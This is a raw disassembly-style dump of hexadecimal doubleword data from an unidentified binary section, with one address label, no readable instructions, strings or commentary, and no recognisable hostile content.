356071F5h dd 68F9CE5Eh, 0C7F9ADDFh, 0E7107080h, 6AF74E3Ch, 0AF04D6h dd 8210F97h, 0CF1283BBh, 598931E5h, 4DE95920h, 0C00F4AA6h dd 9D0B07E8h, 315C39D8h, 1320648Bh, 0AF2C61FBh, 90322B36h dd 0BF5A786Eh, 0E5C9FC60h, 34031D14h, 88302DBh, 8531EF6Bh dd 9F4F47A0h, 99B9125Eh, 8CC4084Dh, 55500989h, 0E5952E14h dd 4B922D72h, 0A6E66F57h, 28CC85Eh, 1FEA1DD6h, 2840E343h dd 56485D08h, 0C4D4208Ch, 5E3400Ch, 8808CF31h, 291CB14Fh dd 73B207E5h, 826F746Fh, 54F48F97h, 0D1FCD550h, 0E02069BFh dd 800665DCh, 0B20840Fh, 4B77E4C9h, 8534A628h, 788DACA8h dd 16ADD22Bh, 0CA0E9B77h, 2D0C5C3Ch, 2E98959h, 0AE61CD6h dd 10A3C6Eh, 2D40919h, 66E73435h, 77FE08E0h, 29C9AB17h dd 40FC8812h, 0A2F3067Ch, 3C24E63Ah, 11050AFEh, 0E119E940h dd 4FA81E9Ch, 50306C36h, 2C94B800h, 25E91770h, 0D6449D0Eh dd 4125197h, 8C4D9B68h, 80B55471h, 0B32E41A8h, 2C7B030h dd 0CF4CD1C3h, 0BBE2D601h, 295A57D8h, 6EA965C1h, 5340D404h dd 0BC3DFBC7h, 47AB067Ah, 0C19843B5h, 0A29772B0h, 14C172E8h dd 1C570913h, 0DD89E404h, 1521BBC5h, 21E05EF2h, 56F19F93h dd 39BB53C0h, 257E0E37h, 5D81EB81h, 824B5974h, 16F93D0Eh dd 84AFE094h, 2581BBDDh, 0E8423B59h, 2EA9645Dh, 0BB8D48E9h dd 3F3B6460h, 619F5F5Bh, 3E380412h, 57506CA7h, 5BAD6412h dd 54B3A140h, 0B2012940h, 752720FEh, 5FB58BB5h, 0A8DF3A09h dd 0F509B46Ah, 1701336Dh, 63A04DB8h, 0B0D15818h, 0EB758117h dd 3D7D7F37h, 9D22B4EDh, 44F2C126h, 0E47EAD5Dh, 8B31A313h dd 0E9017037h, 0F53DB8h, 166284EDh, 0F0FD016Fh, 0E908A0C5h dd 0A89D4AF2h, 0B268A128h, 3CA9F42Bh, 6B5CF1B5h, 801280B2h dd 97791C7Fh, 87B7AA96h, 800EB6CEh, 0E9712F68h, 0B3896039h dd 17F7B2EBh, 0B4A32A79h, 0E3C725F7h, 0C92F79FAh, 0E7E04872h dd 0C23BC9D1h, 85BABD5h, 14A7C633h, 6E0D9609h, 0DF03F5D5h dd 5F01E311h, 78AEFC2h, 0CBC10104h, 87458713h, 5214B60Ch dd 5117586Bh, 0CA008E9h, 0BD0EF614h, 72D6BC8Bh, 1D567D03h dd 0D1240755h, 527A8540h, 0BAC89CC8h, 0F15A8851h, 0B35A5BB0h dd 0F78080A9h, 98BCE99Ah, 9892E9Bh, 254C4602h, 19988601h dd 5481A38Bh, 0BC076AEh, 281C5B5Eh, 0C0C3801Fh, 42B55147h dd 0FEDBC570h, 0F5860DCDh, 0BE08D6F6h, 4EED9610h, 0EB84FF12h dd 6988CBAEh, 802B4AB9h, 0D74EF040h, 440EB029h, 7B0BF6C2h dd 0A270834h, 390C94D0h, 98F54B10h, 0D3C34459h, 41BC58FCh dd 56AB5013h, 1C5FBA52h, 9DD9937Fh, 24EB8B2h, 6009BC5Fh dd 0AEB70440h, 785FC82h, 675FA6F6h, 0A888D312h, 1AB01A78h dd 0EA76A20h, 602CD828h, 9B049340h, 800BB353h, 0D1A0AEE9h dd 9411452Ch, 3383AB90h, 35A900F0h, 4C0654EDh, 1312D125h dd 0F00963E7h, 767A6A78h, 0E6A98981h, 5E69A8D6h, 6BCF43CBh dd 2EC27102h, 0D8CD57E6h, 0F4D997B4h, 944545ECh, 47A53B4Dh dd 1B27FA58h, 729C5C17h, 0F1EBFB51h, 22388BD1h, 0F968871h dd 0D7588F82h, 0BEA7307h, 3001980Fh, 6446E9F8h, 4A0FBDD1h dd 464C6912h, 8414DE10h, 0D2E1B057h, 4B12EFE3h, 0F7642387h dd 0E93328FEh, 5212165Eh, 3C8472EEh, 38E59390h, 0E0A4183Ch dd 94357B0Ch, 0ECF5F801h, 4432516h, 0FC035C79h, 710B25h dd 0B64CC70Ch, 0BC79E967h, 0C0F34DC0h, 0E45B680Eh, 8C325EBDh dd 55A30E3h, 74073FA3h, 8B066255h, 0C021AB05h, 50E94B15h dd 4F2F1EB4h, 0ACA2ADDBh, 92F76AD7h, 0A01C40FEh, 28883F54h dd 0A884A62Dh, 0C00F88FEh, 0E5002FDDh, 66D5F606h, 54687753h dd 48B15773h, 0D04AD732h, 6A80E65Eh, 0EE833050h, 6D1A0E0Ch dd 12330C37h, 131D704Bh, 0B9938CC7h, 21BDD3Ch, 0BF57494Ah dd 27FB7101h, 0F25B04E1h, 7567A960h, 0DA3D8026h, 6B8B0EADh dd 50AB84F9h, 4402ABC0h, 47203074h, 8A3F5C0Eh, 7EE8724Fh dd 0BDE125Eh, 81F4B39Dh, 0E0B68472h, 3BF9D13h, 8D56AE9Eh dd 302B485Eh, 10BEB3DBh, 26AB0315h, 0D2F7D687h, 7CE9080Ah dd 0F2818EAFh, 3136661Fh, 2F6499EDh, 0D0B4B857h, 0D705AA6Bh dd 0E4CF295Ah, 6C4D6F02h, 6657034Ch, 0A52E09BFh, 1F782AFCh dd 3406E0C1h, 1EC1AB1Ch, 209F77A9h, 4F5DDFEFh, 2CD9F821h dd 57BBF053h, 52B6F97Dh, 5E258C26h, 927D725Fh, 404E4211h dd 3980C3CDh, 0CB8E12E3h, 0E9C2D00Dh, 0D4E5A508h, 620B5224h dd 0C925338Ah, 976B7A05h, 0F48061E6h, 870685AAh, 130BE388h dd 0BCFE78A7h, 83F37AE7h, 2D960708h, 2038D080h, 0F7B6260Fh dd 6EDC105h, 99760D80h, 89BD2E61h, 35E90BDEh, 84B13CA5h dd 1481BFA0h, 25F485F1h, 68C3C006h, 7E627436h, 0EBC3E2B9h dd 0C01F5B32h, 0CCE951C2h, 7AB4155Bh, 6F53BC34h, 74D861C9h dd 892C47B5h, 11293BE9h, 86D8C87Ch, 0DBEC9F69h, 10862D53h dd 0BF02A3BAh, 57F3501Fh, 0A2218A87h, 51C1C5D8h, 0C7638291h dd 0C0D5230Bh, 73E2EF9Ch, 12045E2Ch, 7B92E1B2h, 33E97007h dd 56C94BAAh, 0A0DE69E5h, 92F8E958h, 0CBAD4FA1h, 0C9F62513h dd 0F30ED01h, 4895A289h, 27E9F0CBh, 6CF4D96Ch, 200A0B4Fh dd 49685AA0h, 0E26D9F12h, 0CEB1E904h, 0E5E0DE97h, 972A9C68h dd 89808A1Ch, 0BA80F7D1h, 8F75184Bh, 36B7E815h, 42621B02h dd 5AAF52E9h, 0A04BFADFh dd 2F181AAh, 3911037Eh, 0B7D6EEE9h, 44202D00h, 1F054752h dd 0EF334B79h, 70FD7C2h, 5D051194h, 8C19EA68h, 0E9275078h dd 485CE05Ch, 0A4D90B35h, 59FCE79Dh, 9265123Fh, 6F1287CAh dd 0ED68061Ch, 0E3B61E67h, 907E0151h, 0C91DE9B2h, 96F745C3h dd 8903B9F4h, 0E8AE563Fh, 12CD20C1h, 0EDF2EB80h, 36E45A44h dd 0D9204440h, 0CF4BD360h, 7B9A196Fh, 0EF55B05h, 0DEDF8300h dd 142A7DD1h, 0E49B5D8h, 0B2936ED2h, 0BAB52A93h, 94789556h dd 5F8D7430h, 71492BEAh, 60CCA051h, 0CC50D47h, 61CDA29h dd 148B1C08h, 0DB348EE0h, 0E95B0B0Bh, 0BBB0C1B9h, 6C2F5F23h dd 21A5D3F9h, 0C31CE9D5h, 2121287Ah, 0C3E2A24Ah, 0C0E3A062h dd 0B3CA8001h, 82481D6Bh, 0D028E5EAh, 0F2F2E0D7h, 1DB10251h dd 0A2E9D9F6h, 6BBF1FE9h, 6DA26297h, 49235C9Dh, 75CD55C0h dd 0D3C783C1h, 54CAA914h, 135D0192h, 2FDDF70Ah, 7A9A92C0h dd 562C005Ch, 6B4C77BEh, 0FE31E917h, 0FAEDE51Dh, 0EC410FE4h dd 0B1E63BC5h, 95BCB934h, 0B044B852h, 0C4423568h, 1EBD10F7h dd 1A6C4C89h, 921FFEA1h, 4412F454h, 0DA252D94h, 45E20E30h dd 4858398Fh, 1FD266A0h, 0CCB5B317h, 6225AF20h, 0EBF16D76h dd 156299F7h, 8B5F422Ch, 7D0E1893h, 24A6EF1Dh, 1A1CEA0Ah dd 808CEDFh, 9D8A09FCh, 2E995364h, 51C8F00Bh, 8728EBD5h dd 4B8C04A8h, 0A921C54Ah, 259F130Ah, 0F2D031C2h, 60297D3h dd 0E7246D1Dh, 0C03E64AEh, 0C7DDE9E2h, 6F0226B9h, 0E24FCB5Ch dd 5A65F007h, 0C6FA4F6h, 215D94A8h, 39A8C84Eh, 42C009B1h dd 6E577AA8h, 0F1AC272h, 560B5184h, 16688447h, 0EE34EA55h dd 5081404Bh, 48B23832h, 93CC815Fh, 0D27E3869h, 54F6494Bh dd 0C244CF54h, 0C734AA25h, 2A12B0B2h, 8557FC1Bh, 50B8B7D0h dd 5E8F69B9h, 0DEC524A2h, 5FA0457Ch, 0AE51955Dh, 94D33A2Ch dd 656808F6h, 66DC0802h, 8530E05Bh, 56E54E30h, 9235E378h dd 5728000Bh, 0FDB1D423h, 2309EEBCh, 759BA934h, 5C5BA4B6h dd 529CD7FDh, 3F28EF12h, 4F3608C1h, 0E9946018h, 0EC247508h dd 24E6C72h, 52133825h, 35519559h, 0F91E8B2Dh, 0C9686184h dd 0E9F74C1Ah, 55E4805Ah, 5F0878E0h, 0FEF10723h, 0C7CE24C6h dd 0E7D13B37h, 45685C07h, 6788BC5Ah, 5A540B6Bh, 5DEBFAFBh dd 0E2C8B8A2h, 28A3B101h, 623958EDh, 13B03E84h, 8DB745BEh dd 7329EB74h, 0D28FE33Fh, 2BFA29EFh, 5D272AC8h, 520F1181h dd 0E62986B2h, 5D4B1DD2h, 2D50F428h, 0A5EE889h, 8019F149h dd 0A5F35D58h, 380C6203h, 4A64D4E9h, 34CF09BEh, 0E6005A89h dd 21951156h, 0C5188395h, 0C196B2EFh, 5DFCCD46h, 18496098h dd 39BF2806h, 0C905F5F8h, 96ECBF2h, 9BC176C3h, 660E702h dd 0D30C970Fh, 0EFA40412h, 0C86802E3h, 49C65424h, 0F1C0A6D4h dd 9048B678h, 28441B5h, 0EC840BC4h, 46590988h, 744EAA20h dd 0B050E135h, 55792057h, 0CBC18038h, 417ACFE4h, 46F03B88h dd 8A1927E9h, 0E0F29566h, 9E07856h, 315EC268h, 0B910AD42h dd 0D43D13D8h, 0DF603D32h, 0D72DEA92h, 6E05E269h, 1D3CD9A5h dd 7BC3C2B4h, 7EDE7C66h, 30128C50h, 8947B2E8h, 6D810553h dd 0B20D4DA4h, 0E0682F32h, 0F9B7CF78h, 0BFE94196h, 59DAD6Fh dd 70E45908h, 154C9DDEh, 206E9F82h, 0B7FEBA71h, 2606665Ah dd 5A1FAA5h, 0EAC059CAh, 2E19C302h, 0FE070C1Fh, 295C7B3Ch dd 5E962710h, 647762B3h, 0E941E8F3h, 383EBF85h, 66712C25h dd 742515Ch, 42CE808Dh, 22BBF69Eh, 7AE5AEBh, 960710D3h dd 5BE03C10h, 88F18B81h, 13DEA804h, 90091573h, 82852945h dd 4919236h, 7228AB50h, 8F680551h, 8926846Ch, 4C042865h dd 0BD49A806h, 0E10F5A50h, 3D9F7533h, 2E05CFA4h, 49AA5156h dd 8486FD88h, 0C304A395h, 335338AFh, 7B2599AEh, 0C1C068A2h dd 9C680BE9h, 0BBA3325Ah, 45414B7Bh, 0E82A46DEh, 6EA2C451h dd 727EBE01h, 0CE31C461h, 0E6065498h, 44BF2C91h, 2E1609CCh dd 0C67C7CBDh, 5000062Ch, 29182D0Ah, 0E2E92FD6h, 11F52C89h dd 4CEC522Ah, 0BEF397FDh, 0D29FA7BDh, 0E1F62C4Dh, 16CC9FB2h dd 0B16CC43Dh, 98C83DD2h, 58F7660Dh, 0CB16C7E9h, 108DA73Eh dd 8D26CD5Dh, 8A680B0Bh, 0E984DFD1h, 25D4CC6Ch, 90805ABh dd 5030BBDAh, 4CC363CEh, 0E5135F12h, 537F0402h, 12D7F2BBh dd 39EAAFFAh, 1C288298h, 842A1905h, 0EA1276E0h, 0F629C332h dd 4076C950h, 30AFF49Ch, 9C3E9A4Ah, 0C3E9C203h, 0D8AC15E9h dd 0D2B1266Ah, 0BE15864h, 16F4CF3Bh, 925CEAE9h, 420955A6h dd 5BFD4461h, 0FAE00454h, 0E344EA02h, 31FC510h, 6288BE66h dd 0FC85BFA3h, 5EF71915h, 0BA96FA08h, 7D22F63Ch, 78C0519h dd 0DD3DD022h, 0F8E80940h, 32CCB85Dh, 5465AE08h, 0BAD39BC0h dd 83E6909Eh, 9C5AFC0Ch, 0B238312Ah, 0AD05009Fh, 37603156h dd 81A383B2h, 5CE0ED3Fh, 2C6626D2h, 0DB73BE03h, 2205D372h dd 21C063C4h, 9B10D984h, 555E1808h, 80BE9E8Ch, 361E9835h dd 0B08917C1h, 274E538Fh, 0AC21C350h, 82E5A7C2h, 0EB66D888h dd 7255825Fh, 0B214D7C9h, 74520F94h, 8568E788h, 1B8BBA56h dd 0E244E909h, 0F3767192h, 55EE0187h, 38EC0AEEh, 99145898h dd 425B9906h, 0D9709868h, 0A4F9E7B7h, 4E13024Fh, 905A0D43h dd 78F40882h, 94FA6865h, 0B5D21208h, 15806E52h, 4A8CC485h dd 0F3A7C494h, 51035B85h, 117ACF68h, 7ACBD8D7h, 134E3009h dd 84687624h, 0EFE97417h, 54C340Eh, 749050ACh, 207E7C1h dd 5E0F781h, 0FE80553Bh, 77D2366Bh, 81FD2920h, 94605F08h dd 0C5D58285h, 0FDA08A9h, 149D6A28h, 0D12D0499h, 0BE2A5774h dd 1907B910h, 0C0F52FE9h, 3D50C820h, 34960DB4h, 1339A2BEh dd 0E0A35E53h, 1DD2415Eh, 3F367D38h, 71327E5Ch, 0CBA7466h dd 0E05D5F5Eh, 9A0334FAh, 2C58C288h, 0A373C3F7h, 0F7D08385h dd 982C5E4Fh, 38BEB61Fh, 74F03E0Eh, 0E49F5AF4h, 73742058h dd 86104BDh, 7D58582h, 0E443712Dh, 69D8D748h, 0D0B34E1h dd 82E26256h, 0B8360EEh, 0A920275h, 0FD6E5FA7h, 144ED3E4h dd 0BB010B0Dh, 5875DA6Fh, 5EEE1785h, 5DC376A8h, 0B998F202h dd 0BB2D7EBDh, 40A2C221h, 3683F19h, 2E2DC93Ch, 29E87159h dd 7A205C8h, 0A4D6C75Dh, 0A65F13C3h, 0F5815EC5h, 2E068FFAh dd 72A04238h, 0B479D897h, 467C2DB7h, 5AE4845Bh, 0FD029DE5h dd 0C5F75355h, 6145279Ah, 2A0FC1A5h, 8B3D0A6Ch, 7E61A6DFh dd 4298522Ch, 4FBEC7Bh, 502A0D21h, 0C0804999h, 148F5CF5h dd 0BF162BFh, 9A7E6FE9h, 6858762Ch, 4E2B70C0h, 0B062B044h dd 0F5F5509h, 25AE5645h, 509D25C6h, 2409617h, 0F851E957h dd 920AA053h, 5EA52E49h, 6AAF0A81h, 0D2289775h, 135847CDh dd 0EF27DBB5h, 89E4CF26h, 0CEB83CD6h, 0BBECFA0Fh, 7DCACB7Fh dd 76628EDEh, 5FAC6ACh, 0D05756BDh, 0F2CEAA11h, 4954BE1Fh dd 680E1F57h, 347DCF49h, 0EFCD813Fh, 5AD6218Bh, 43661AD5h dd 82DDD8ACh, 38E91695h, 2264FD96h, 0D660BFB9h, 0BF806EDCh dd 0BC275AECh, 18C71F5Bh, 0D194318Bh, 648E315Eh, 0D7EC05E6h dd 0CE73CE1Ch, 52DE87EEh, 0E6ED1442h, 0F9CED10h, 0B5B3988h dd 29B561C1h, 413EB548h, 4FA22E5Dh, 9276809h, 0B7B68C22h dd 0F0D3560Ch, 0C0A8AB97h, 0E530F5C6h, 81DB668Bh, 4CB7DDCCh dd 7B2B2CCBh, 988BCB9Bh, 0CD008AFBh, 0F77DB81Ch, 2CF89FD5h dd 0EE64ABB9h, 75A9E921h dd 13653CE8h, 0C7E8CE29h, 3273F1E7h, 3F947F71h, 0C35E0800h dd 0BE5CBEE9h, 0C251E702h, 0FD2CA56h, 73C1112h, 0E64824AAh dd 0D1D196B3h, 2082EB29h, 230C512Fh, 1D0F7640h, 4A382095h dd 0E15BD828h, 0E0448493h, 0C8B55F02h, 1DFBCDAEh, 804B544Eh dd 0A83FDAF5h, 0BF1D575Dh, 4D016BBEh, 0C830E947h, 9B813706h dd 57902F05h, 58DE0994h, 32C8048h, 12DE269Ah, 7CF90421h dd 0EA30059Dh, 1519A2Ch, 0D1F6C9B1h, 3E0D2CE9h, 5AAA7856h dd 48D5D83Eh, 0BFA6E94Dh, 45BACB83h, 93B11D0h, 652407B7h dd 0BC8014A8h, 0F8FE2016h, 63844EB7h, 5E2DFF56h, 1C982D44h dd 2DCF9553h, 3C252C9Dh, 0A84C2D7Dh, 0CCB8D96h, 9B82A554h dd 32BEE1D0h, 5960B65h, 7F02E6C1h, 0EA0AB2C6h, 6A67C703h dd 0BE569850h, 0C35C28B8h, 2EF74CABh, 0A811844Bh, 29D2DE77h dd 0EAD11AC0h, 2FD07939h, 0DB32F8CBh, 0E967095Dh, 0A203039h dd 81A54C85h, 0F2E153A3h, 0D4242F72h, 1125F516h, 0BABE13BAh dd 515E6E06h, 824533D6h, 0BFE0EE47h, 509FC38Ch, 12DF4F84h dd 7E1B8A79h, 200245Fh, 0DD87EB31h, 0DDDB51F7h, 8654952Bh dd 512887C6h, 597C1C68h, 0FAA68B27h, 0AD1849A7h, 0BC84F84Eh dd 0EA35FE9h, 0EAC94FBDh, 1A82DAC2h, 2B0AAD7Dh, 30AEAA17h dd 66857ACh, 20A2784Ah, 0AFA55F8Fh, 7A31Eh, 4A2964B8h dd 59E9563Dh, 5F25F907h, 196B09F1h, 1DADAD41h, 6A6DB4A2h dd 0ACF0347Dh, 0BFC1803Dh, 665E80F0h, 17C5012Eh, 0B523EACFh dd 8EBD90B3h, 0B751782Bh, 0AC0A4EA2h, 49AE3104h, 0FA549628h dd 0D1A4A92Dh, 3EF54BCEh, 0E890BC92h, 7EE90BC8h, 365E88C1h dd 6558C9BAh, 40953D15h, 0E52789E8h, 0C5C063DCh, 0F30F509Dh dd 1EB1C17Fh, 70640270h, 73914943h, 7AC3D94Fh, 0E7D4BF1Dh dd 0A00CDEF5h, 9466561Fh, 8E021319h, 0F8DD453Dh, 5B786968h dd 0F7E28AABh, 5F7E1778h, 0F415316Bh, 52FB92E9h, 8768BB5Ch dd 8518995Ch, 135E16E9h, 64170A79h, 0F776A581h, 518F5DD2h dd 65D677CFh, 0A57FC97Dh, 1584A20Eh, 0B7BF9417h, 18C50E30h dd 84185D82h, 0BE4D301h, 275A5B2Fh, 7234683Bh, 645B908Bh dd 1774BB46h, 0BD10ABA9h, 0A9B450BCh, 3A871B12h, 0CBF71F00h dd 30361F43h, 0F212FA89h, 0EB251E9Bh, 0C49D628h, 0A916DAF7h dd 0B73AFB16h, 89C20EEAh, 0C071F2F3h, 0F934FEEBh, 164AB505h dd 13880802h, 8744A6DCh, 7F5C4AF0h, 3FD99DF6h, 0FD4ABA89h dd 0E6E9F4B8h, 0BD690095h, 5AED5550h, 6EBFEC1Fh, 84D24B9Eh dd 0F18975Eh, 149F79E1h, 6D992050h, 31FA2D02h, 0E1053788h dd 68D417D2h, 31335A45h, 80B5C134h, 1EF9ED45h, 48016A98h dd 84087CDh, 53B79459h, 0AAA9E010h, 2EB95103h, 0D4122A30h dd 34FB59C8h, 0E469C2E7h, 0BAD92903h, 3C845F67h, 7A3CEA66h dd 0A4105EE9h, 0B09BFB5h, 70317626h, 0F7091990h, 2BA7225Eh dd 4063958Ch, 0D94305Ah, 2F567142h, 0FA94644Bh, 70BCC076h dd 2D514549h, 617378A3h, 37D8B141h, 604D4CC8h, 408405CFh dd 31250BE0h, 0A27F58C2h, 7F95933Fh, 0B7F0EB1Bh, 7B60F52Ah dd 9677AB0Ch, 169906Fh, 6B9C3CDFh, 6F5EF229h, 7B509F1Ch dd 288FB601h, 2A5A66F3h, 1998A2D7h, 6E4706DAh, 0C748DAF3h dd 8A6BC185h, 13D83EDEh, 6C467A5Ch, 5DA40288h, 85917357h dd 50BB4460h, 5874629Ch, 291C6812h, 80FACE2Dh, 0FF14A9D3h dd 370B53Dh, 5F09D990h, 58FE1007h, 71D98115h, 2D138C62h dd 0AC76A8B8h, 0E49BD846h, 0B383526Ah, 0E6438FCEh, 9A0C2404h dd 207F1CA9h, 0FFB744C7h, 3BACFE04h, 0B8D5F617h, 0FE058958h dd 6D203D5Bh, 6719CCB5h, 6781710Eh, 2C4D065Fh, 0FC6FB326h dd 5BE0D552h, 2000C9F9h, 5D906853h, 9F5B1592h, 20C1A950h dd 72E80B6Bh, 66B1868h, 2FD0B701h, 1142EEC3h, 554BCC71h dd 0C150D496h, 0CE40EBD3h, 0C8BF250Fh, 182FC65Eh, 8256B0F1h dd 0A10FC0DFh, 0D67F08FBh, 8539EF29h, 14B32D09h, 9A0A5188h dd 5B54271Fh, 91123922h, 2A74EA27h, 0E55C5E92h, 8EE2C57h dd 91286272h, 0F5A7BCEh, 50A5ABE8h, 0CEEB95ECh, 856A54CAh dd 3D7ED502h, 55464E5Ch, 9478B03Dh, 9378A55Eh, 0CDE906C3h dd 503B0E64h, 0E30ED1B4h, 8B52DFDFh, 0BB90A3ACh, 0ECBFA1EEh dd 0B8A9353h, 30F7C137h, 0E1187F91h, 0F394CC04h, 99ACF85Fh dd 0C86C07D2h, 0F42B7730h, 0F216EF94h, 40F4E5DCh, 0A6B8C155h dd 1B017198h, 92D241Eh, 0A46E5BDDh, 273FF53Eh, 1CB93C2h dd 7D55E092h, 0D47B291Eh, 77C4AB83h, 0BC744B61h, 3BE3E5B2h dd 1096C48h, 0E3704787h, 4D68DF08h, 1FE90462h, 8047CC98h dd 8852EC09h, 1018D7E5h, 689DF4A3h, 2812BDE5h, 2CF07E3h dd 698A6CF0h, 0C080C131h, 0E52DACBAh, 0EA2E7A78h, 0A5113408h dd 0B04A6148h, 2918FA44h, 0C20C6BEEh, 0B9E202Eh, 0E619B60Bh dd 8C00565h, 5901BE80h, 0F8305BC5h, 0A5050287h, 0FD341653h dd 76688h, 39DE3559h, 0C0970BFEh, 7DE90D24h, 5420736h dd 8B1350E5h, 14652700h, 0F7B655EDh, 0F9FE08A0h, 602F5D9Eh dd 821AF8A7h, 25FCC88Ah, 5A92A55Eh, 7C1099FDh, 8FA94AD3h dd 2EFFD9D3h, 10C7EE40h, 9D01631Eh, 2D0B1F1Ch, 0D4023AB2h dd 8BA95FEh, 31D52D5Ah, 292A020Eh, 3BAF82DDh, 67CCFE7Bh dd 2F47E0C1h, 0F535874Dh, 9CFA064Eh, 0C5400240h, 0D83004ACh dd 9C7AB753h, 765C693h, 0FBD9DD57h, 93C2E0F4h, 180420AFh dd 3F196E68h, 0CC9FADB1h, 0D0FEF5F0h, 11681233h, 642CAE33h dd 13C4927Eh, 0A9D5F745h, 82B80269h, 201DDA4h, 977C8677h dd 8F79E383h, 5B0C0E02h, 57566840h, 0D100AF31h, 5D5025C7h dd 0A0FABF05h, 824DE927h, 60DD873Dh, 0BF17FED6h, 0CADAE219h dd 0D8843004h, 0DA643483h, 91097888h, 2F26AC9h, 12573A72h dd 0E9F8817Fh, 0A581A80Dh, 63BF94F2h, 9E8453Bh, 0B9D75CE5h dd 396218DAh, 4053D510h, 3FB2F597h, 0B14A949Fh, 0F43D0873h dd 5BC1E42Dh, 5BB4A758h, 2054D31h, 3F818A7Fh, 0D57FA4E9h dd 4F9FD0AFh, 0E2D597C2h, 0DAA0EC06h, 582B1936h, 0C004F1B5h dd 5D561AC6h, 0CED1DB50h, 6E70ED89h, 0D5961BBh, 7D13F714h dd 9E111808h, 3D5B928h, 14D6F16h, 0F19D59CFh, 5A0B028Dh dd 8AF7475Dh, 449EA30Fh, 0FE014437h, 350999EAh, 542C2F9Ah dd 181FA1D2h, 66EF0017h, 0FA9E3059h, 1DC41708h, 6926FCBDh dd 603C0819h, 0FE12A0ACh, 8BFF34C4h, 4E664A63h, 5BCE987Fh dd 196AE367h, 0F07DF768h, 852A4EFDh, 58ABA22h, 0B51E4A7Eh dd 72CD8C7h, 0A744F781h, 805285ABh, 31519EA2h, 9092C8BDh dd 88E62768h, 712F347Ch, 0AC5C449Fh, 555180A3h, 0C461B68h dd 9BE94135h, 524CACDBh, 257D3D11h, 0B8B500CCh, 24927CDh dd 410D0516h, 0DA804DDCh, 1ABC65E4h, 97C7292Eh, 7E6BEB09h dd 86204139h, 0D8BDEC7Ch, 0C4F717C1h, 0E06B105Ah, 0F4EE211Ah dd 0EEE0F85Ah, 86E92A40h, 94C39796h, 59B71025h, 3E2F3CD4h dd 0E1F7F080h, 674D5868h, 585C2540h, 4E65BF69h, 0F0633DA8h dd 8B7CC781h, 0F7D69FA2h, 5B0883C2h, 5E87E41Ch, 0A540D1B7h dd 5969B1F1h, 62511F82h, 0C16F6295h, 257AC1AEh, 16DF815Eh dd 0CA104B8h, 22F9806Ah, 0F943BE0h, 87AE2D12h, 415759A2h dd 90F9E9ACh, 0A3198029h, 3BB00858h, 0EFDE51D1h, 77EC1F8Bh dd 0A3BE7B05h, 0E098C493h, 10750109h, 9D5E54B5h, 2F93043Eh dd 0B095D191h, 0BA206394h dd 58F0882Fh, 1102016h, 5A34F660h, 3CB1F280h, 0D2B3CAFEh dd 0C2D1470Eh, 0CBF22F6Dh, 1D2DC551h, 20A58F59h, 0C3296664h dd 0FA062EE7h, 7C1208A9h, 0F5E14F3h, 0C31392B7h, 58BF61FAh dd 10013219h, 501A5117h, 0C6552A53h, 0FC6595CEh, 48E4F9ADh dd 5B6210F5h, 4009AFB4h, 0EEB22968h, 1570B505h, 93C0420Ch dd 9CA8105h, 23C73BDBh, 905ABC81h, 0D029D8EBh, 0B1C73CEDh dd 812555E9h, 0FF605092h, 0C0319209h, 9D034430h, 0BD206D46h dd 1EA0B0CCh, 9231F72Eh, 68E48022h, 0EDB76903h, 567F3548h dd 0B9DFEC0Fh, 0CAEA8915h, 0E264D2AFh, 579991BAh, 89580250h dd 8B95047Dh, 123DBB03h, 59F1B0EDh, 2A685280h, 5F8B08D5h dd 803FFC35h, 774989C2h, 99C9C4Fh, 0A9B362D2h, 3FDC28CAh dd 771C353Fh, 760744B9h, 30708E35h, 1A54395Bh, 0C292D05h dd 0D1AE6ADAh, 2FCF8916h, 5EBB5249h, 9EC22777h, 66274B44h dd 0B5139896h, 0EE3025C0h, 0D0086051h, 0EA8006C2h, 1AA00665h dd 39D484E6h, 0E3C712A2h, 681138AEh, 22FBC49Dh, 0EE9170DAh dd 7C7F20C9h, 16172F0Ah, 0E79474E9h, 0F44A27A6h, 65B98F00h dd 49E9BB61h, 0A0767C54h, 8DB56A1h, 0DC97E92Ah, 58D7BD00h dd 0BE4D7399h, 0EE025E6h, 0BF80690Eh, 6E4013D2h, 93AE0754h dd 0FA49B41Ah, 0BC9084D7h, 0FE9BC98Fh, 644B3DEEh, 0F0E96E89h dd 848E470h, 4F4884CFh, 4429BA00h, 0B0C03D81h, 7B2C66C2h dd 64D820E9h, 0C39C5D4Bh, 0BEE44062h, 6557DD09h, 3B8DF633h dd 0C86B85D5h, 2D0B133Dh, 74484647h, 0EFE20873h, 411A5827h dd 0A043EC53h, 0C8E516D3h, 52C9A8FBh, 300B3CB6h, 0CA285A02h dd 34F827E9h, 927204F0h, 2DA1144Ah, 611096D3h, 509034C6h dd 0F784C6B0h, 0F929076Dh, 7C902675h, 1204E1C0h, 0FD8DC180h dd 0F1C32DCBh, 2432A968h, 0E0F085Bh, 0F88AB109h, 0CC189770h dd 0D1728851h, 13E2CB4Bh, 109FBCC4h, 483105CBh, 81BB357Ah dd 93B3B7DCh, 46EBC51Bh, 104D5B4Bh, 2E246A77h, 1902BBD8h dd 75265D69h, 27086828h, 0C697A266h, 0A20169FAh, 669383F9h dd 4C5821AEh, 0E56800D1h, 91A5C47Dh, 8DBA005Ch, 0B803DB54h dd 2DEFA884h, 5EAA19F4h, 31DA7C1Eh, 0C2DA435Ah, 58089C40h dd 0F57EEBB5h, 840A65FFh, 52229278h, 0E8F8DCECh, 81022E92h dd 5F794FF6h, 91B78223h, 4914D79Bh, 4812B209h, 89E1025Fh dd 34C909A8h, 5533F3FCh, 79663DD5h, 4DD72FFBh, 0D01B50D1h dd 5D8A040Fh, 80686C65h, 0C7727992h, 0E94E3C05h, 31BBF26Fh dd 45D70C3h, 0C32C6FC3h, 7F457FAEh, 0A5066B16h, 552A9AFDh dd 0D32F56F8h, 0A7417B0Dh, 0AA3769F0h, 1189A97Eh, 599D82C6h dd 6C508943h, 7E0F4272h, 66E7BFEBh, 4175E94h, 0D60DCBC5h dd 0DA50C031h, 3E5B6679h, 851327B8h, 92936770h, 66FF63A5h dd 8A949565h, 39F5E906h, 0E3E008F7h, 0A5B6800h, 0A2157CB3h dd 13124CBCh, 31AF35DBh, 3AD38794h, 1AD9CB30h, 472713D5h dd 526BC4Fh, 29014D76h, 0EF19B0ACh, 0DDE131ABh, 18C6E211h dd 0ED20EFB0h, 879501FDh, 3E6C1EEh, 0B2D64046h, 0A3161653h dd 0EEE908E9h, 0B0D3955Ah, 9B9F5574h, 5B5DD1B4h, 0ACC3843Fh dd 0B70AD215h, 0B283700Fh, 0E1525122h, 8FAFD2EEh, 0EA06D0DEh dd 7008D5F7h, 0E36D4B68h, 3E99048Bh, 97AB0CA3h, 51C950F1h dd 0F21729D1h, 554630E9h, 9594E801h, 